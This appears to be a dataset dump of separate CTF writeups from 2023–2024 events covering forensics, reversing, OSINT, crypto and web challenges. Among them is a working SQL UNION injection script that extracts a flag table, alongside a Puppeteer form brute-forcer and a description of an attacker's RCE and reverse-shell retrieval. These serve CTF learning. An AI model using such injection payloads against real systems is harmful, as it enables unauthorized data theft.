text_chunk
stringlengths 151
703k
|
---|
# WordPress - 4[Medium]
Same file from WordPress - 1
Q1. What is the name of the function that the attacker tested the exploit with, and what is the name/version of the attacker's server?
Q2. What is the username that was logged on during the attack, including the domain?
Q3. The attacker attempted to upload a reverse shell. Mention the IP and port. What command posed an obstacle during the process of the reverse shell?
Flag Format `0xL4ugh{A1_A2_A3}`
Example: `0xL4ugh{functionName()_serverName/version_domain\username_IP:PORT_command}`
---
Solution:
Remember earlier, from 3, that RCE were sent by `192.168.204.1` and used `172.26.211.155` as the C2?
Let's use them for filtering `((ip.src == 192.168.204.1) || (ip.dst == 192.168.204.1) || (ip.src == 172.26.211.155) || (ip.dst == 172.26.211.155)) && http`
![image](https://github.com/pspspsps-ctf/writeups/raw/main/2024/0xL4ugh%20CTF%202024/Forensics/Wordpress/4/4_1.png)
There we go! Q1 answer: `phpinfo()_SimpleHTTP/0.6`
For Q2, let's take a look at the result from the packet that invoked `whoami`
![image](https://github.com/pspspsps-ctf/writeups/raw/main/2024/0xL4ugh%20CTF%202024/Forensics/Wordpress/4/4_2.png)
Q2 answer: `desktop-2r3ar22\administrator`
Finally, for Q3, the retrieval of the reverse shell happened after invoking the `whomai` command. Since we saw earlier that if `wp_abspath` is the only parameter, it retrieved the payload from the C2.
![image](https://github.com/pspspsps-ctf/writeups/raw/main/2024/0xL4ugh%20CTF%202024/Forensics/Wordpress/4/4_3.png)
```php |
You've received a confidential document! Follow the instructions to unlock it.
Note: This is not malware
Author: SteakEnthusiast [invoice.docm](https://github.com/Nightxade/ctf-writeups/blob/master/assets/CTFs/UofT-CTF-2024/invoice.docm)
---
After a bit of exploring, googling "ctf tool to point out what files might contain malware", I found [this](https://ctftime.org/writeup/23895). Following the steps in the writeup, I got this:
```py===============================================================================FILE: invoice.docmType: OpenXMLWARNING For now, VBA stomping cannot be detected for files in memory-------------------------------------------------------------------------------VBA MACRO ThisDocument.cls in file: word/vbaProject.bin - OLE stream: 'VBA/ThisDocument'- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Sub AutoOpen() Dim v6 As Variant, v7 As Variant v6 = Array(98, 120, 113, 99, 116, 99, 113, 108, 115, 39, 116, 111, 72, 113, 38, 123, 36, 34, 72, 116, 35, 121, 72, 101, 98, 121, 72, 116, 39, 115, 114, 72, 99, 39, 39, 39, 106) v7 = Array(44, 32, 51, 84, 43, 53, 48, 62, 68, 114, 38, 61, 17, 70, 121, 45, 112, 126, 26, 39, 21, 78, 21, 7, 6, 26, 127, 8, 89, 0, 1, 54, 26, 87, 16, 10, 84) Dim v8 As Integer: v8 = 23
Dim v9 As String, v10 As String, v4 As String, i As Integer v9 = "" For i = 0 To UBound(v6) v9 = v9 & Chr(v6(i) Xor Asc(Mid(Chr(v8), (i Mod Len(Chr(v8))) + 1, 1))) Next i
v10 = "" For i = 0 To UBound(v7) v10 = v10 & Chr(v7(i) Xor Asc(Mid(v9, (i Mod Len(v9)) + 1, 1))) Next i
MsgBox v10End Sub
-------------------------------------------------------------------------------VBA MACRO Module1.bas in file: word/vbaProject.bin - OLE stream: 'VBA/Module1'- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - (empty macro)+----------+--------------------+---------------------------------------------+|Type |Keyword |Description |+----------+--------------------+---------------------------------------------+|AutoExec |AutoOpen |Runs when the Word document is opened ||Suspicious|Chr |May attempt to obfuscate specific strings || | |(use option --deobf to deobfuscate) ||Suspicious|Xor |May attempt to obfuscate specific strings || | |(use option --deobf to deobfuscate) |+----------+--------------------+---------------------------------------------+```
Seems like some sort of program created in Microsoft Office's VBA. We can find the documentation of certain functions on Microsoft by searching up `[function] vba` online. Here's my analysis:
```pySub AutoOpen() Dim v6 As Variant, v7 As Variant v6 = Array(98, 120, 113, 99, 116, 99, 113, 108, 115, 39, 116, 111, 72, 113, 38, 123, 36, 34, 72, 116, 35, 121, 72, 101, 98, 121, 72, 116, 39, 115, 114, 72, 99, 39, 39, 39, 106) # array v7 = Array(44, 32, 51, 84, 43, 53, 48, 62, 68, 114, 38, 61, 17, 70, 121, 45, 112, 126, 26, 39, 21, 78, 21, 7, 6, 26, 127, 8, 89, 0, 1, 54, 26, 87, 16, 10, 84) # array Dim v8 As Integer: v8 = 23
Dim v9 As String, v10 As String, v4 As String, i As Integer v9 = "" For i = 0 To UBound(v6) # loop through all of v6 v9 = v9 & Chr(v6(i) Xor Asc(Mid(Chr(v8), (i Mod Len(Chr(v8))) + 1, 1))) # append v8 ^ v6[i] to v9 Next i
v10 = "" For i = 0 To UBound(v7) v10 = v10 & Chr(v7(i) Xor Asc(Mid(v9, (i Mod Len(v9)) + 1, 1))) # append v7[i] ^ v9[i] to v10 Next i
MsgBox v10End Sub```
We can easily simulate the same process in Python:
```pyv6 = [98, 120, 113, 99, 116, 99, 113, 108, 115, 39, 116, 111, 72, 113, 38, 123, 36, 34, 72, 116, 35, 121, 72, 101, 98, 121, 72, 116, 39, 115, 114, 72, 99, 39, 39, 39, 106]v7 = [44, 32, 51, 84, 43, 53, 48, 62, 68, 114, 38, 61, 17, 70, 121, 45, 112, 126, 26, 39, 21, 78, 21, 7, 6, 26, 127, 8, 89, 0, 1, 54, 26, 87, 16, 10, 84]v8 = 23
for i in range(len(v6)): v6[i] ^= v8for i in range(len(v7)): v7[i] ^= v6[i]```
Let's print out v7:
```pyfor i in v7: print(chr(i), end='')```
Except v7 contains some irrelevant message saying "you've been hacked". Well, v6 is longer than v7 but used in v7's decryption. This is suspicious. Maybe we try to print out v6?
```pyfor i in v6: print(chr(i), end='')```
And we get the flag!
uoftctf{d0cx_f1l35_c4n_run_c0de_t000} |
Description
Marian Rogers Croak is a Vice President of Engineering at Google. She was previously the Senior Vice President of Research and Development at AT&T. She holds more than 200 patents. She was inducted into the Women in Technology International Hall of Fame in 2013. In 2022, Croak was inducted into the National Inventors Hall of Fame for her patent regarding VoIP (Voice over Internet Protocol) Technology. She is one of the first two Black women to receive that honor, along with Patricia Bath. Her invention allows users to make calls over the internet instead of a phone line. Today, the widespread use of VoIP technology is vital for remote work and conferencing. - Wikipedia Entry
Challenge: Find the discarded flag and return it to this Hall of Fame Inventor
---
Because this gives us a disk image, I always start by using autopsy, especially since the challenge mentions a 'discarded flag' so I want to look for deleted items.
Looking through the disk there is not much to see except for a pcap file which looks promising. Extracting this file to my desktop, I can open it up in wireshark to analyze next.
We know that Marian Croak was known for VoIP and I see some SIP protocol packets that seem to hold the most information. So after quickly looking up what I can do with them on wireshark, I saw that under *telephony -> VoIP Calls* we can see a list of them and even play them.
I listened to all of them and once you reach the last two which are 24 and 23 seconds long, you can hear the flag being spelled out for you. It took a few tries to determine what was being said but after some trial and error I got the flag chctf{d3v3l0p3d_vo1c3_0v3r_1p}. |
We are given a prompt to enter git commands. After some trial and error we can see that the `git grep` command is allowed. Knowing the flag format is `0xL4ugh{something}` we can use `grep ugh` and that should find all files that have the string `ugh` and should print out the flag.
```bash┌──(kali㉿kali)-[~/Desktop/git]└─$ nc 172.190.120.133 50001
_____ _ _ ___ ___ | __ (_) | | \/ | | | \/_| |_| . . | ___ _____ __ | | __| | __| |\/| |/ _ \/ _ \ \ /\ / / | |_\ \ | |_| | | | __/ (_) \ V V / \____/_|\__\_| |_/\___|\___/ \_/\_/
[+] Welcome challenger to the epic GIT Madness, can you read /flag.txt?Enter git commands (Enter an empty line to end):grep ugh
flag.txt:0xL4ugh{GiT_D0c3_F0r_Th3_WiN}
```
Flag: `0xL4ugh{GiT_D0c3_F0r_Th3_WiN}` |
We have yet another google form task. The goal of this one seems to input the flag one character at a time. Selecting random characters until the end greets us this screen:
![](https://i.imgur.com/ZfZJhuh.png)
Using the same logic as the **infinite loop** task, we try to edit the hidden input with the page history. I will put my previous page as 62, assuming that is the final page that shows up when the flag is correct:
![](https://i.imgur.com/czZQcl4.png)
Well, seems like we were right, but they don't print the flag, they just say that the input was correct... so we need to find a way to figure out what the flag is.We know that the flag starts with **lactf{**, so we start putting those characters in the form, and after a random letter. Looking at the history again we see something interesting:
```<input type="hidden" name="pageHistory" value="0,2,4,6,8,10,12,14,15,17">```
It seems like the page number is even when the answer is correct until that point. After an incorrect character, all pages become odd. There is the pattern we are looking for. Knowing this information, we can bruteforce the flag. The idea is to check each character and move to the next page in the form. If the last number of the pageHistory is odd, then it's a wrong character. If it's even, it's correct.
For this I used Puppeteer to simulate user clicks. Here is the code below:
```const puppeteer = require('puppeteer');
const buttonClass = '.uArJ5e.UQuaGc.YhQJj.zo8FOc.ctEux';const nextButtonClass = 'OCpkoe';const prevButtonClass = 'GeGHKb';const prefix = `lactf{`
const isFinished = false;
var flag = '';
(async () => { const browser = await puppeteer.launch({headless:false}); console.log("Starting"); const page = await browser.newPage();
// First page await page.goto('https://docs.google.com/forms/d/e/1FAIpQLSc-A-Vmx_Te-bAqnu3TrRj-DAsYTgn52uSk92v3fECQb3T83A/viewform');
await page.waitForSelector('.whsOnd.zHQkBf');
await page.focus('.whsOnd.zHQkBf') await new Promise(r => setTimeout(r, 500)); await page.keyboard.type('test')
await page.click(`${buttonClass}`);
// Letters
await page.waitForSelector('div[role="listbox"]');
var nodes = await page.$$(".MocG8c.HZ3kWc.mhLiyf.OIC90c.LMgvRb") var symbols = [];
for( let node of nodes ){ var attr = await page.evaluate(el => el.getAttribute("data-value"), node); symbols.push(attr); }
console.log(symbols);
while(!isFinished){
for( let i in symbols){ await page.waitForSelector('div[role="listbox"]'); await page.click('div[role="listbox"]'); console.log(symbols[i]); var numberOfTimesToClickDown = 1;
if(flag.length < prefix.length) { numberOfTimesToClickDown = symbols.findIndex(el => el === prefix[flag.length]) + 1; }
var selectorForDropdown = `.MocG8c.HZ3kWc.mhLiyf.OIC90c.LMgvRb[data-value='${symbols[i]}']`; await page.waitForSelector(selectorForDropdown);
for(var c = 0; c < numberOfTimesToClickDown; c++) { await new Promise(r => setTimeout(r, 200)); await page.keyboard.press('ArrowDown'); } await new Promise(r => setTimeout(r, 500)); await page.keyboard.press('Enter'); await new Promise(r => setTimeout(r, 500));
await page.click(`${buttonClass}[jsname="${nextButtonClass}"]`);
await page.waitForSelector('input[name="pageHistory"]');
var pageHistory = await page.$('input[name="pageHistory"]') var pageHistoryValue = await page.evaluate(el => el.getAttribute("value"), pageHistory); var lastPage = pageHistoryValue.split(',').pop();
if(lastPage % 2 == 0) { flag += symbols[i]; console.log("flag so far -> " + flag)
if(lastPage >= 62) isFinished = true; break; } await page.click(`${buttonClass}[jsname="${prevButtonClass}"]`); } } console.log(flag);})();
```
Running this takes a while and took quite some tries, as sometimes, probably due to my machine, the clicks failed. But either way, we got to the end with the flag being printed on the screen.
Flag: lactf{1_by_0n3_by3_un0_*,"g1'} |
# Terms and Conditions
## Description```Welcome to LA CTF 2024! All you have to do is accept the terms and conditions and you get a flag!```
## Writeup
Visiting the website I saw a button and a some text. ```html
<html lang="en"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Document</title> <style> body, html { margin: 0; padding: 0; background: linear-gradient( rgba(255, 0, 0, 1) 0%, rgba(255, 154, 0, 1) 10%, rgba(208, 222, 33, 1) 20%, rgba(79, 220, 74, 1) 30%, rgba(63, 218, 216, 1) 40%, rgba(47, 201, 226, 1) 50%, rgba(28, 127, 238, 1) 60%, rgba(95, 21, 242, 1) 70%, rgba(186, 12, 248, 1) 80%, rgba(251, 7, 217, 1) 90%, rgba(255, 0, 0, 1) 100% ) 0 0/100% 200%; animation: shift 20s linear infinite; }
@keyframes shift { to { background-position: 0 -200%; } } body, div, html { width: 100%; height: 100%; }
div { display: flex; flex-direction: column; justify-content: center; align-items: center; column-gap: 20px; }
p, h1, button { font-family: "Comic Sans MS", "Roboto", sans-serif; }
p { font-size: 14px; max-width: 75%; }
h1 { font-size: 36px; font-weight: bold; }
button { font-size: 24px; z-index: 99; }
* { user-select: none; } </style> <script defer src="/analytics.js"></script> </head> <body> <div> <h1>Accept the terms and conditions:</h1> 1. You may use any tool, subject to the restrictions below, at your disposal to attempt to solve the problems. We especially encourage the use of free and open-source tools. Google is your best friend! 2. During the competition, each person may only be a part of one team total, and only members of a given team may assist in solving a challenge for that team. Do not share flags, challenge solutions, tips, hints, or otherwise implicitly or explicitly leak information about solving challenges outside your team until after the CTF is over. 3. Each team must have a valid email address that should serve as the point of contact. UCLA students should use a @g.ucla.edu email to register for access to the UCLA-only division. 4. There are two divisions for teams, UCLA and Open. Teams in the UCLA-only division may consist of up to four participants, all of which must be current UCLA students. Open division teams have no team size or makeup restrictions. UCLA students may choose to participate in either division but not both. <button tabindex="-1" id="accept">I Accept</button> 5. No flag or hint sharing. Do not solicit or accept hints or guidance from any person except through official support channels. You are allowed to use technologies such as ChatGPT or Google Gemini to assist you. 6. Do not attempt to attack or interfere with other teams or any servers used in this competition that are not explicitly designated for being hacked in a problem. Do not perform any sort of online bruteforce against any of our systems including challenges, such as dirbuster or nmap - it won't help. If you ever have a question about whether something is allowed, please ask! 7. Flags are of the format lactf{TEXT_HERE} unless otherwise noted on the challenge description. No brute-force guessing flags. Feel free to try several flags if you're not sure, but don't try any sort of brute forcing on the scoreboard platform. If you think a flag is valid but the system isn't taking it, please contact us using one of the methods below and we'd be happy to help. 8. Finally, have fun and try and learn something new! </div> <script id="mainscript"> const accept = document.getElementById("accept"); document.body.addEventListener("touchstart", (e) => { document.body.innerHTML = "<div><h1>NO TOUCHING ALLOWED</h1></div>"; }); let tx = 0; let ty = 0; let mx = 0; let my = 0; window.addEventListener("mousemove", function (e) { mx = e.clientX; my = e.clientY; }); setInterval(function () { const rect = accept.getBoundingClientRect(); const cx = rect.x + rect.width / 2; const cy = rect.y + rect.height / 2; const dx = mx - cx; const dy = my - cy; const d = Math.hypot(dx, dy); const mind = Math.max(rect.width, rect.height) + 10; const safe = Math.max(rect.width, rect.height) + 25; if (d < mind) { const diff = mind - d; if (d == 0) { tx -= diff; } else { tx -= (dx / d) * diff; ty -= (dy / d) * diff; } } else if (d > safe) { const v = 2; const offset = Math.hypot(tx, ty); const factor = Math.min(v / offset, 1); if (offset > 0) { tx -= tx * factor; ty -= ty * factor; } } accept.style.transform = `translate(${tx}px, ${ty}px)`; }, 1); let width = window.innerWidth; let height = window.innerHeight; setInterval(function() { if (window.innerHeight !== height || window.innerWidth !== width) { document.body.innerHTML = "<div><h1>NO CONSOLE ALLOWED</h1></div>"; height = window.innerHeight; width = window.innerWidth; } }, 10); </script> </body></html>```
1. You may use any tool, subject to the restrictions below, at your disposal to attempt to solve the problems. We especially encourage the use of free and open-source tools. Google is your best friend!
2. During the competition, each person may only be a part of one team total, and only members of a given team may assist in solving a challenge for that team. Do not share flags, challenge solutions, tips, hints, or otherwise implicitly or explicitly leak information about solving challenges outside your team until after the CTF is over.
3. Each team must have a valid email address that should serve as the point of contact. UCLA students should use a @g.ucla.edu email to register for access to the UCLA-only division.
4. There are two divisions for teams, UCLA and Open. Teams in the UCLA-only division may consist of up to four participants, all of which must be current UCLA students. Open division teams have no team size or makeup restrictions. UCLA students may choose to participate in either division but not both.
5. No flag or hint sharing. Do not solicit or accept hints or guidance from any person except through official support channels. You are allowed to use technologies such as ChatGPT or Google Gemini to assist you.
6. Do not attempt to attack or interfere with other teams or any servers used in this competition that are not explicitly designated for being hacked in a problem. Do not perform any sort of online bruteforce against any of our systems including challenges, such as dirbuster or nmap - it won't help. If you ever have a question about whether something is allowed, please ask!
7. Flags are of the format lactf{TEXT_HERE} unless otherwise noted on the challenge description. No brute-force guessing flags. Feel free to try several flags if you're not sure, but don't try any sort of brute forcing on the scoreboard platform. If you think a flag is valid but the system isn't taking it, please contact us using one of the methods below and we'd be happy to help.
8. Finally, have fun and try and learn something new!
Now apparently you had to press the button but looking at the `javascript` code you couldn't do it manually with your mouse or with your `tab` key. ```html<button tabindex="-1" id="accept">I Accept</button>```
For this reason I openend up the console and reloaded the browser window. Than I entered the following commands into the console: ```jsvar button = document.getElementById('accept');button.click();```
Doing that generated an alert with the flag `lactf{that_button_was_definitely_not_one_of_the_terms}` which concludes this writeup. |
[![new-housing-portal - LA CTF 2024](https://img.youtube.com/vi/Z4P667ayUsg/0.jpg)](https://www.youtube.com/watch?v=Z4P667ayUsg&t=748 "new-housing-portal - LA CTF 2024") |
# La Housing Portal
## Description```Portal Tips Double Dashes ("--") Please do not use double dashes in any text boxes you complete or emails you send through the portal. The portal will generate an error when it encounters an attempt to insert double dashes into the database that stores information from the portal.
Also, apologies for the very basic styling. Our unpaid LA Housing(tm) RA who we voluntold to do the website that we gave FREE HOUSING for decided to quit - we've charged them a fee for leaving, but we are stuck with this website. Sorry about that.
Please note, we do not condone any actual attacking of websites without permission, even if they explicitly state on their website that their systems are vulnerable.```
## Provided Files`serv.zip`
## Writeup
Starting off I took a look at the provided files. ```py@app.route("/submit", methods=["POST"])def search_roommates(): data = request.form.copy()
if len(data) > 6: return "Invalid form data", 422 for k, v in list(data.items()): if v == 'na': data.pop(k) if (len(k) > 10 or len(v) > 50) and k != "name": return "Invalid form data", 422 if "--" in k or "--" in v or "/*" in k or "/*" in v: return render_template("hacker.html") name = data.pop("name") roommates = get_matching_roommates(data) return render_template("results.html", users = roommates, name=name)
def get_matching_roommates(prefs: dict[str, str]): if len(prefs) == 0: return [] query = """ select * from users where {} LIMIT 25; """.format( " AND ".join(["{} = '{}'".format(k, v) for k, v in prefs.items()]) ) print(query) conn = sqlite3.connect('file:data.sqlite?mode=ro', uri=True) cursor = conn.cursor() cursor.execute(query) r = cursor.fetchall() cursor.close() return r```
Seeing the missing `input sanitation` for the `SQL query` I instantly thought of an `SQL injection`. Taking a look into the `data.sql` file I also found the point where the flag was injected. ```sqlCREATE TABLE IF NOT EXISTS "users"( id integer not null constraint users_pk primary key autoincrement, name TEXT, guests TEXT, neatness text, sleep TEXT not null, awake text);INSERT INTO users VALUES(1,'Finn Carson','No guests at all','Put things away as we use them','8-10pm','4-6am');INSERT INTO users VALUES(2,'Aldo Young','No guests at all','Put things away as we use them','8-10pm','6-8pm');INSERT INTO users VALUES(3,'Joy Holt','No guests at all','Put things away as we use them','8-10pm','8-10am');
------------------------------
CREATE TABLE flag (flag text);INSERT INTO flag VALUES("lactf{fake_flag}");```
Seeing that the `flag` was in another `SQL table` I instantly knew that it had to be a `SQL UNION query injection`. To test out the `SQL injection` I made a little python script which proved to me that it was possible.```pyimport requests
base_URL = "https://la-housing.chall.lac.tf/submit"
forms = { 'name': "Idk", 'guests': "l' or '1'='1", 'neatness': "na", 'sleep': "na", 'awake': "na"}
req = requests.post(base_URL, data=forms)
print(req.text)```
It's also important to remember that the payload has the maximum size of 50 characters as seen in the code below. ```pyif (len(k) > 10 or len(v) > 50) and k != "name": return "Invalid form data", 422```
Knowing these things I made another payload and executed my script. ```pyimport requests
base_URL = "https://la-housing.chall.lac.tf/submit"
forms = { 'name': "Idk", 'guests': "idk", 'neatness': "l'union select '', '', '', '', '',flag from flag'", 'sleep': "na", 'awake': "na"}
req = requests.post(base_URL, data=forms)
print(req.text)```
I had to add whitespaces because the union query only works if it had the same amount of columns as the base table `users`. Executing the python script I successfully obtained the flag which concludes this writeup. ```html<h2>Result for Idk:</h2><table id="data" class="table table-striped"> <thead> <tr> <th>Name</th> <th>Guests</th> <th>Neatness</th> <th>Sleep time</th> <th>Awake time</th> </tr> </thead> <tbody>
<tr> <td></td> <td></td> <td></td> <td></td> <td>lactf{us3_s4n1t1z3d_1npu7!!!}</td> </tr>
</tbody></table>Back
<style> * { border: 1px solid black; border-collapse: collapse; }</style>``` |
## Description
MM0X and xElessaway were in a mission to find someone but seems they had a stalker and got us this picture of them both. can you identify the place they were?
Flag Format: 0xL4ugh{The Name of the place with spaces}
## Solution
There's no Exif info on the photo so that lead is a dead end.
We can google the username xElessaway and find his instagram. There's a photo with a place that has similar walls and floors which is the `National Museum Of Egyptian Civilization`. So we plug that into the flag and get:
Flag: `0xL4ugh{National Museum Of Egyptian Civilization}` |
in this web/exploit challenge i open website https://terms-and-conditions.chall.lac.tf and see a button that can't accept it and move with mouse and should accept and get flag so i open developer tool and edit and delete scripts related to mousemove and touch that prevent get flag and then get flag after click on button .see writeup url for detailed images and scrips |
See introduction for complete context.
Part 1 - Here is an FCC ID, Q87-WRT54GV81, what is the frequency in MHz for Channel 6 for that device? Submit the answer to port 3895.
---
Simple Google Search reveals that we can look up the FCC ID [here](https://fccid.io/). [This](https://fccid.io/Q87-WRT54GV81) is what we're looking for.
Checking the RF Exposure Info and doing Ctrl+F for "channel", I quickly found that the frequency was 2437 MHz. Now, don't spend 20 minutes wondering why the submission wasn't working like I did, and check the discord to realize that you have to check the hint to get a valid submission.
```printf '2437\n\0' | nc 35.225.17.48 3895```
And now we get the flag:
{FCC_ID_Recon} |
For this challenge we have a Google Forms link. After the first page, we get to a page that redirects to itself when answered.
![teste](https://i.imgur.com/frVIFBd.png)
We are getting nowhere like this, so we can check the page source code, Most of it is irrelevant, but one hidden input is very interesting:
`<input type="hidden" name="pageHistory" value="0,1,1,1">`
Seems like Google Forms stores the user's page history in a hidden input element. Our goal is to get out of the infinite loop, so I will modify this history like this:
`<input type="hidden" name="pageHistory" value="0,1,2,1">`
If I press back on the form, it should redirect me to page 2 of the form. And as such half of the flag is revealed. Clicking Submit reveals the rest of the flag
![](https://i.imgur.com/qW5vDU9.png)
![](https://i.imgur.com/uHK7JRd.png)
Flag: **lactf{l34k1ng_4h3_f04mz_s3cr3tz}**
|
No captcha required for preview. Please, do not write just a link to original writeup here.```bash ┌──(kali㉿kali)-[~/Desktop/babyrev]└─$ file baby-rev baby-rev: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=995dafe783aef67cc95910e4f3c2a0152eeb34c0, for GNU/Linux 3.2.0, not stripped```
If we use Ghidra to analyze the file we can see this code in the main function
```C printf("Enter a string: "); fgets(userInput,32,stdin); sVar1 = strlen(userInput); if (sVar1 == 24) { myfunc(userInput); } else { puts(":P\n");```
If we enter a string that is 23 characters + the newline character we should execute `myfunc()` which looks like the following:
```Cvoid myfunc(char *inputStr)
{ if (*inputStr == 'B') { if (((((((inputStr[4] == 'C') && (inputStr[13] == 'm')) && (inputStr[19] == 'r')) && (((inputStr[3] == 'S' && (inputStr[10] == 'l')) && ((inputStr[2] == 'T' && ((inputStr[14] == 'e' && (inputStr[17] == '0')))))))) && ((inputStr[22] == '}' && (((inputStr[7] == '{' && (inputStr[5] == 'T')) && (inputStr[15] == '_')))))) && (((inputStr[1] == 'I' && (inputStr[21] == 'v')) && (((inputStr[8] == 'w' && ((inputStr[11] == 'c' && (inputStr[6] == 'F')))) && (inputStr[20] == '3')))))) && ((((inputStr[9] == '3' && (inputStr[12] == '0')) && (inputStr[16] == 't')) && (inputStr[18] == '_')))) { puts("Yippee :3\n"); } } else { puts(":PP\n"); } return;}```
At this point it's a matter of reversing what the inputStr character indexes are. Which is:
Flag: `BITSCTF{w3lc0me_t0_r3v}` |
## Cereal Killer 02
### Description
> Points: 100>> Created by: `TheZeal0t`
luciafer can be a bit of trouble sometimes, but she can put away the sugary monster cereals with the best of them! She has a favorite, too, and it is based on her favorite monster. See if you can figure it out! Select the binary for your preferred platform.
[Download file](https://gr007.tech/writeups/2023/deadface/rev/cereal_killer_2/cereal)
### Solution
when the binary is run, it asks for Luciafer's favorite breakfast cereal.
```shdeadface/rev/cereal_killer_2 on master [?]❯ ./cerealLuciafer also loves Halloween, so she, too, LOVES SPOOKY CEREALS!She has different favorite villain from 70-80's horror movies.What is Luciafer's favorite breakfast cereal? adfsdaINCORRECT....: I'm afraid that is not Lucia's current favorite monster cereal. She is kind of capricious, you know, so it changes often.```
The following code (after some cleanup) snippets are the interesting parts from looking at it in ghidra.
```c puts("Luciafer also loves Halloween, so she, too, LOVES SPOOKY CEREALS!"); puts("She has different favorite villain from 70-80\'s horror movies."); printf("What is Luciafer\'s favorite breakfast cereal? "); fgets(input,0xfff,_stdin); decode_str(input,63, "\b=3?\x1562GR\x12\x1bekHA\v<\x14\x01\x1d4A[)\x1b\x13L&\x024+\x16\x06@\x17\r8_\"\x02=\x 1c\bK5\\Hi\x0f\x13L/1\x11K-\x1aWIejS\x1c" ,correct); iVar1 = strncmp(correct,"CORRECT!!!!!",12); if (iVar1 == 0) { puts(correct); } else { printf("%s", "INCORRECT....: I\'m afraid that is not Lucia\'s current favorite monster cereal. She is kind of capricious, you know, so it changes often.\n" ); }```
```cvoid decode_str(char *input,int len,char *flag,char *correct)
{ int mod; int i;
mod = 0; i = 0; while (i < len) { correct[i] = flag[i] ^ input[mod]; i += 1; mod += 1; if (11 < mod) { mod = 0; } } correct[i] = '\0'; return;}```
After analyzing the `decode_str` function, we can see that we cannot use the trick we used in [cereal killer 1](https://gr007.tech/writeups/2023/deadface/index.html#cereal-killer-01) to bypass the check but we can do something pretty interesting instead. The `decode_str` takes our input and uses it as a key for rotating xor cipher to decode the flag string that has been encoded by the original key. And we can see that the first 12 characters are later compared in the main function with the string `CORRECT!!!!!`. Now, if we input our favourite cereal as `CORRECT!!!!!`, we sould get a string comparison with our cereal and `CORRECT!!!!!` in the main function.
```sh[ Legend: Modified register | Code | Heap | Stack | String ]───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────$eax : 0xffffbc2c → 0x6d61724b ("Kram"?)$ebx : 0x56558ff4 → <_GLOBAL_OFFSET_TABLE_+0> call 0x86559037$ecx : 0x4e$edx : 0x3f$esp : 0xffffac10 → 0xffffbc2c → 0x6d61724b ("Kram"?)$ebp : 0xffffcc38 → 0x00000000$esi : 0xffffcd0c → 0xffffcf45 → "VIMRUNTIME=/usr/share/nvim/runtime"$edi : 0xf7ffcb80 → 0x00000000$eip : 0x56556301 → <main+202> call 0x56556080 <strncmp@plt>$eflags: [zero carry parity ADJUST SIGN trap INTERRUPT direction overflow resume virtualx86 identification]$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────0xffffac10│+0x0000: 0xffffbc2c → 0x6d61724b ← $esp0xffffac14│+0x0004: 0x56557187 → "CORRECT!!!!!"0xffffac18│+0x0008: 0x00000c (" "?)0xffffac1c│+0x000c: 0xffffbc2c → 0x6d61724b0xffffac20│+0x0010: 0x56557008 → "INCORRECT....: I'm afraid that is not Lucia's curr[...]"0xffffac24│+0x0014: 0x56557094 → or BYTE PTR ds:0x36153f33, bh0xffffac28│+0x0018: 0x000000000xffffac2c│+0x001c: "CORRECT!!!!!\n"─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ──── 0x565562f9 <main+194> push eax 0x565562fa <main+195> lea eax, [ebp-0x100c] 0x56556300 <main+201> push eax → 0x56556301 <main+202> call 0x56556080 <strncmp@plt> ↳ 0x56556080 <strncmp@plt+0> jmp DWORD PTR [ebx+0x1c] 0x56556086 <strncmp@plt+6> push 0x20 0x5655608b <strncmp@plt+11> jmp 0x56556030 0x56556090 <_start+0> endbr32 0x56556094 <_start+4> xor ebp, ebp 0x56556096 <_start+6> pop esi─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ────strncmp@plt ( [sp + 0x0] = 0xffffbc2c → 0x6d61724b, [sp + 0x4] = 0x56557187 → "CORRECT!!!!!")─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "cereal", stopped 0x56556301 in main (), reason: BREAKPOINT───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────[#0] 0x56556301 → main()────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────gef➤ x/s 0xffffbc2c0xffffbc2c: "KramPuffs3:D(\a\023YyWU<\025`z\bX\\\036tGw\1777'a6,{\020pPx_\\j\024}iHL\\\036}tR\037\f;vhD)\034N"gef➤```
```shdeadface/rev/cereal_killer_2 on master❯ ./cerealLuciafer also loves Halloween, so she, too, LOVES SPOOKY CEREALS!She has different favorite villain from 70-80's horror movies.What is Luciafer's favorite breakfast cereal? KramPuffs3:DCORRECT!!!!! : flag{GramPa-KRAMpus-Is-Comin-For-Da-Bad-Kids!!!}```
flag: `flag{GramPa-KRAMpus-Is-Comin-For-Da-Bad-Kids!!!}` |
# Very hot
## Description```I didn't think that using two primes for my RSA was sexy enough, so I used three.```
## Provided Files```src.pyout.txt```
## Writeup
I started off by taking a look at the provided files. `src.py`:```pyfrom Crypto.Util.number import getPrime, isPrime, bytes_to_longfrom flag import FLAG
FLAG = bytes_to_long(FLAG.encode())
p = getPrime(384)while(not isPrime(p + 6) or not isPrime(p + 12)): p = getPrime(384)
q = p + 6r = p + 12
n = p * q * re = 2**16 + 1ct = pow(FLAG, e, n)
print(f'n: {n}')print(f'e: {e}')print(f'ct: {ct}')```
`out.txt`:```n: 10565111742779621369865244442986012561396692673454910362609046015925986143478477636135123823568238799221073736640238782018226118947815621060733362956285282617024125831451239252829020159808921127494956720795643829784184023834660903398677823590748068165468077222708643934113813031996923649853965683973247210221430589980477793099978524923475037870799e: 65537ct: 9953835612864168958493881125012168733523409382351354854632430461608351532481509658102591265243759698363517384998445400450605072899351246319609602750009384658165461577933077010367041079697256427873608015844538854795998933587082438951814536702595878846142644494615211280580559681850168231137824062612646010487818329823551577905707110039178482377985```
